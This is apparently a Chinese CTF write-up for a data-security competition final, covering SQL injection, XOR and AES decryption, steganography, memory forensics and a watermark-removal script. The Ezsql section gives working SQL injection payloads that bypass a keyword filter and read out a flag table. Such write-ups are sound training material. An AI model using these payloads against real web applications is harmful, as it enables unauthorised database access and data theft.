数据安全
Ezsql
无列名注入
fuzz测试发现过滤了information_schema、反引号、or
等关键词 测试发现可通过括号闭合,构造语句测试。
name=11') union select 1,2,~(select exp(709))#
# ID: 1 - Name: 2 - Email: 9223372036854775808
name=11') union SELECT 1,2,(SELECT GROUP_CONCAT(a) FROM (SELECT 1 AS a UNION SELECT * FROM whatisthis) AS m)#
# 获取flag
信息搜集表
签到题,填写信息发邮箱得到flag
ez_sign
下载得到附件,压缩包密码为弱口令
第一段值
第二段值
第三段值,队数据进行和0xff
进行异或,得到一个新压缩包
input_file = "part3.zip"
output_file = "res.zip"
xor_key = 0xff
# 读取输入的 zip 文件
with open(input_file, "rb") as fp:
data = fp.read()
# 创建一个空字节串以存储结果
result = bytearray()
# 对每个字节进行异或操作
for byte in data:
result.append(byte ^ xor_key)
# 将结果写入输出文件
with open(output_file, "wb") as fp:
fp.write(result)
print(f"数据已经还原并保存为 '{output_file}'。")
拼接获得flag值
签到寄语
打开题目,发现需要输入寄语。这里输入任意值
会出现一张二维码,参考如下项目
https://github.com/sz3/cfc/releases/tag/v0.6.1
读取文件得到flag值
easy-decode
无壳,直接看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rbx
size_t v6; // rbp
void *v7; // rax
void *v8; // rsi
void *v9; // rbx
__int64 v10; // rdi
__int64 v11; // rax
char *v12; // rdi
__int64 v13; // rbx
__int64 v14; // rax
int v15; // ebp
int v16; // ebp
FILE *v17; // rax
FILE *v18; // rbx
int v19; // [rsp+30h] [rbp-48h] BYREF
char v20[16]; // [rsp+38h] [rbp-40h] BYREF
__int128 v21[2]; // [rsp+48h] [rbp-30h] BYREF
v3 = fopen("flag.txt", "rb");
v4 = v3;
if ( v3 )
{
fseek(v3, 0, 2);
v6 = ftell(v4);
fseek(v4, 0, 0);
v7 = j__malloc_base(v6);
v8 = v7;
if ( v7 )
{
fread(v7, 1ui64, v6, v4);
fclose(v4);
v9 = j__malloc_base(0x7D0ui64);
memmove(v9, main, 0x7D0ui64);
v10 = EVP_MD_CTX_new();
v11 = EVP_md5();
EVP_DigestInit_ex(v10, v11, 0i64);
EVP_DigestUpdate(v10, v9, 2000i64);
EVP_DigestFinal_ex(v10, v20, 0i64);
EVP_MD_CTX_free(v10);
memset(v21, 0, sizeof(v21));
v12 = (char *)j__malloc_base((int)((((((int)v6 + 32) >> 31) & 0x1F) + v6 + 32) & 0xFFFFFFE0));
if ( v12 )
{
v13 = EVP_CIPHER_CTX_new();
v14 = EVP_aes_128_cbc();
EVP_EncryptInit_ex(v13, v14, 0i64, v20, v21);
EVP_EncryptUpdate(v13, v12, &v19, v8, v6);
v15 = v19;
EVP_EncryptFinal_ex(v13, &v12[v19], &v19);
v16 = v19 + v15;
EVP_CIPHER_CTX_free(v13);
v17 = fopen("flag_enc.txt", "wb");
v18 = v17;
if ( v17 )
{
fwrite(v12, 1ui64, v16, v17);
fclose(v18);
free(v8);
free(v12);
return 0;
}
else
{
free(v8);
free(v12);
return 1;
}
}
else
{
free(v8);
return 1;
}
}
else
{
fclose(v4);
return 1;
}
}
else
{
perror(&ErrMsg);
return 1;
}
}
可以看懂只需要讲main
函数的字节码进行md5
作为密钥解密flag_en.txt
即可。
一开始通过动调下断点获取md5
后的值发现解密错误,后面考虑到断点存在0xcc
字节码,手动dump
找到aes的密钥2c063641039ac76d8ba8253c15f5fc16
得到flag{85e66dbb-540b-4a49-90d3-baf2092f55b1}
pixel
打开png发现文件头有问题,并且将被修改的文件头查看可以发现是 sm4cbc为提示
图片尾可以合理猜测为密文
stegsolve可以发现 alpah通道存在隐写
zsteg可以得到一个 字符串
直接就是密文加偏移进行解密
数据分析
secret1
直接strings搜索可以得到加过滤可以得到
secret2
通过vol工具查找历史命令可以得到
是在secret目录下的文件,再使用filescan扫描加上grep过滤,通过dumpfiles把文件dump下来
通过在线反编译pyc,得到源码
使用了异或进行加密,密钥刚好是我们上面得到的flag的值,因为是异或得到的,我们再次使用脚本异或回文件既可以得到
secret3
提取压缩包,需要密码,使用vol查看剪贴板得到一段字符串怀疑是密码,输入解压
通过剪切板提取信息
history1
看到提示说浏览器,直接vol看进程,发现firefox的进程,直接导出
然后使用gimp直接挪
history2
然后看到问flag2在哪直接,直接strings加grep检索
得到flag2
数据算法
水印攻击_南区
gpt生一个针对盲水印,减少对原图的修改。生成一个对图片增亮功能,逐步优化拿高分即可。
from PIL import Image, ImageEnhance
def change_brightness(image_path):
image = Image.open(image_path)
min_factor = 1.05
max_factor = 1.2
step = 0.01
# 生成亮度因子列表
factors = [round(min_factor + i * step, 2) for i in range(int((max_factor - min_factor) / step) + 1)]
# 遍历每个亮度因子并尝试增强亮度
for factor in factors:
brightened_image = ImageEnhance.Brightness(image).enhance(factor)
output_path = f"result_{factor:.2f}.png"
brightened_image.save(output_path)
# 检查攻击是否成功
if check_attack_success(output_path):
return brightened_image
return None # 如果所有尝试都失败,返回None
def check_attack_success(image_path):
# 检查攻击是否成功的逻辑
# 这里暂时返回False,表示未实现具体检查方法
return False
# 输入文件路径
input_image_path = "input.png"
output_image = change_brightness(input_image_path)
if output_image:
output_image.save("result.png")
print("成功找到有效的亮度变化,结果已保存。")
else:
print("所有尝试的亮度改变都未能成功攻击水印。")
原文始发于微信公众号(ACT Team):第二届数据安全大赛暨首届“数信杯”数据安全大赛南区决赛Writeup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论